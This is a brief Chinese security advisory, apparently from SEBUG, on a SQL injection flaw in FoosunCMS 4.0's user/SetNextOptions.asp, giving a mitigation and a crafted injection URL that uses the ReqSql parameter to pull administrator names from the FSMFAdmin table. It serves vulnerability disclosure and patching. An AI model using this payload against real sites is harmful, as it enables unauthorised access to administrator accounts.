风讯4.0 user/SetNextOptions.asp sql注入漏洞

/user/SetNextOptions.asp中对用户数据验证不严，存在sql注入漏洞。 风讯4.0 SEBUG临时解决办法： 对ReqSql参数进行过滤 请参考官方补丁 构造注入 user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,adminname,3,4,5,6,7,8++from+FSMFAdmin“adminname”管理用户名数据库表...